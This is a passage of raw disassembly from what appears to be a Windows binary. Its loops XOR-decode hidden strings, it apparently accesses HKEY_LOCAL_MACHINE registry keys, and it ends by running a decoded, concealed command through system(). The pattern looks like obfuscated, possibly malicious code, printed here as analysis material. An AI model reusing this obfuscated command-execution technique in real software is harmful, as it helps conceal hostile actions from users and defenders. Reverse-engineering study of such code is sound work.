pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x28
jl 0x140021940
cmp ecx, 0x2a
jge 0x140021a78
movsxd rax, ecx
lea r8, [rsp + 0x20]
lea r8, [r8 + rax*2]
nop dword [rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x2a
jl 0x140021a40
lea r8, [rbp - 0x70]
mov rcx, 0xffffffff80000002
lea rdx, [rsp + 0x20]
call fcn.140016330
movq xmm5, qword [0x14002a130]
mov ecx, ebx
mov eax, dword [0x14002a138]
movq qword [rsp + 0x40], xmm5
mov dword [rsp + 0x48], eax
movups xmm4, xmmword [0x14002a110]
movups xmm0, xmmword [0x14002a120]
movups xmmword [rsp + 0x20], xmm4
movups xmmword [rsp + 0x30], xmm0
cmp edi, 2
jl 0x140021cd4
movdqa xmm2, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm7
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm4
psubw xmm3, xmm2
movdqa xmm2, xmm11
xorps xmm3, xmm1
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movq qword [rsp + 0x20], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm11
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x28]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmm10
xorps xmm3, xmm0
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
movq qword [rsp + 0x28], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm10
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x30]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmmword [0x14002c5b0]
xorps xmm3, xmm0
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movq qword [rsp + 0x30], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm2, xmm9
movq xmm0, qword [rsp + 0x38]
mov ecx, 0x14
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movdqa xmm2, xmmword [0x14002c5c0]
xorps xmm3, xmm0
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movq qword [rsp + 0x38], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, xmm5
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rsp + 0x40], xmm3
mov eax, ecx
lea r8, [rsp + 0x20]
lea r8, [r8 + rax*2]
nop
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x16
jl 0x140021ce0
movups xmm0, xmmword [0x14002b2b0]
mov ecx, ebx
movups xmm1, xmmword [0x14002b2c0]
mov eax, dword [0x14002b310]
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x14002b2d0]
movups xmmword [rbp - 0x60], xmm1
movups xmm1, xmmword [0x14002b2e0]
movups xmmword [rbp - 0x50], xmm0
movups xmm0, xmmword [0x14002b2f0]
movups xmmword [rbp - 0x40], xmm1
movups xmm1, xmmword [0x14002b300]
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm1
mov dword [rbp - 0x10], eax
cmp edi, 2
jl 0x140021e70
lea rdx, [rbp - 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x30
jl 0x140021d80
cmp ecx, 0x32
jge 0x140021eb8
movsxd rax, ecx
lea r8, [rbp - 0x70]
lea r8, [r8 + rax*2]
nop dword [rax + rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x32
jl 0x140021e80
lea r8, [rsp + 0x20]
mov rcx, 0xffffffff80000002
lea rdx, [rbp - 0x70]
call fcn.140015f40
mov eax, dword [0x14002a9c8]
mov edx, 0x44
movups xmm0, xmmword [0x14002a9b8]
movzx ecx, word [0x14002a9cc]
movups xmm1, xmmword [0x14002b2c0]
movups xmmword [rbp - 0x70], xmm0
xor word [rbp - 0x6e], r12w
movups xmm0, xmmword [0x14002b2b0]
xor word [rbp - 0x6c], r13w
xor word [rbp - 0x62], si
mov dword [rbp - 0x60], eax
xor ax, r14w
xor word [rbp - 0x5e], r15w
mov word [rbp - 0x70], dx
mov edx, 0xff8e
xor word [rbp - 0x6a], dx
mov edx, 0xff8f
xor word [rbp - 0x68], dx
mov edx, 0xff90
xor word [rbp - 0x66], dx
mov edx, 0xff91
xor word [rbp - 0x64], dx
mov word [rbp - 0x60], ax
mov eax, 0xff8b
xor cx, ax
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x14002b2d0]
mov eax, dword [0x14002b310]
movups xmmword [rsp + 0x30], xmm1
movups xmm1, xmmword [0x14002b2e0]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x14002b2f0]
movups xmmword [rsp + 0x50], xmm1
movups xmm1, xmmword [0x14002b300]
mov word [rbp - 0x5c], cx
mov ecx, ebx
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm1
mov dword [rbp - 0x80], eax
cmp edi, 2
jl 0x140022090
lea rdx, [rsp + 0x20]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x30
jl 0x140021fa0
cmp ecx, 0x32
jge 0x1400220d8
movsxd rax, ecx
lea r8, [rsp + 0x20]
lea r8, [r8 + rax*2]
nop dword [rax]
mov eax, 0x66666667
lea r8, [r8 + 2]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x32
jl 0x1400220a0
lea r8, [rbp - 0x70]
mov rcx, 0xffffffff80000002
lea rdx, [rsp + 0x20]
call fcn.140016330
cmp word [0x14002a10e], bx
movups xmm4, xmmword [0x14002a0f8]
movq xmm5, qword [0x14002a108]
movups xmmword [rbp - 0x70], xmm4
movq qword [rbp - 0x60], xmm5
je 0x140022281
mov ecx, ebx
cmp edi, 2
jl 0x14002224a
movdqa xmm2, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm7
psrad xmm2, 2
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm9
pmulld xmm1, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
pshufd xmm3, xmm1, 0xd8
movq xmm1, xmm4
psubw xmm3, xmm2
movq xmm2, xmm9
xorps xmm3, xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movq qword [rbp - 0x70], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm11, xmm0
pshufhw xmm0, xmm11, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp - 0x68]
pshufd xmm3, xmm1, 0xd8
movdqa xmm1, xmm10
psubw xmm3, xmm2
punpckldq xmm1, xmm10
xorps xmm3, xmm0
pmuldq xmm1, xmm6
movq qword [rbp - 0x68], xmm3
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
movq xmm2, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm10, xmm0
pshufhw xmm0, xmm10, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, xmm5
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rbp - 0x60], xmm3
jmp 0x140022281
lea r8, [rbp - 0x70]
nop
mov eax, 0xcccccccd
lea r8, [r8 + 2]
mul ecx
shr edx, 3
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0xc
jl 0x140022250
movups xmm0, xmmword [0x1400297c0]
mov ecx, ebx
movups xmm1, xmmword [0x1400297d0]
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x1400297e0]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x140029800]
movups xmmword [rsp + 0x30], xmm1
movups xmm1, xmmword [0x1400297f0]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x140029820]
movups xmmword [rsp + 0x50], xmm1
movups xmm1, xmmword [0x140029810]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rsp + 0x70], xmm1
cmp edi, 2
jl 0x1400223dd
mov edx, ebx
lea rcx, [rsp + 0x20]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm7
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
psubw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp edx, 0x38
jl 0x1400222f0
jmp 0x140022413
lea r8, [rsp + 0x20]
mov eax, 0xcccccccd
lea r8, [r8 + 2]
mul ecx
shr edx, 3
movzx eax, dx
shl ax, 2
add dx, ax
movzx eax, cx
add dx, dx
inc ecx
sub ax, dx
sub ax, 0x75
xor word [r8 - 2], ax
cmp ecx, 0x38
jl 0x1400223e2
lea r8, [rbp - 0x70]
mov rcx, 0xffffffff80000002
lea rdx, [rsp + 0x20]
call fcn.140015f40
call fcn.14001c900
mov eax, dword [0x14002a0c8]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x14002a0cc]
mov byte [rsp + 0x44], al
movups xmm0, xmmword [0x14002a0a8]
movups xmm1, xmmword [0x14002a0b8]
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm1
cmp edi, 2
jl 0x140022568
movdqa xmm0, xmmword [0x14002c630]
lea rcx, [rsp + 0x24]
movdqa xmmword [rbp - 0x70], xmm0
mov edx, dword [rbp - 0x70]
nop dword [rax + rax]
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
add ebx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 2
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
psubb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp ebx, 0x20
jl 0x140022480
cmp ebx, 0x25
jge 0x1400225b0
movsxd rax, ebx
lea rcx, [rsp + 0x20]
add rcx, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x66666667
lea rcx, [rcx + 1]
imul ebx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
shl al, 2
add dl, al
movzx eax, bl
add dl, dl
inc ebx
sub al, dl
sub al, 0x75
xor byte [rcx - 1], al
cmp ebx, 0x25
jl 0x140022580
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret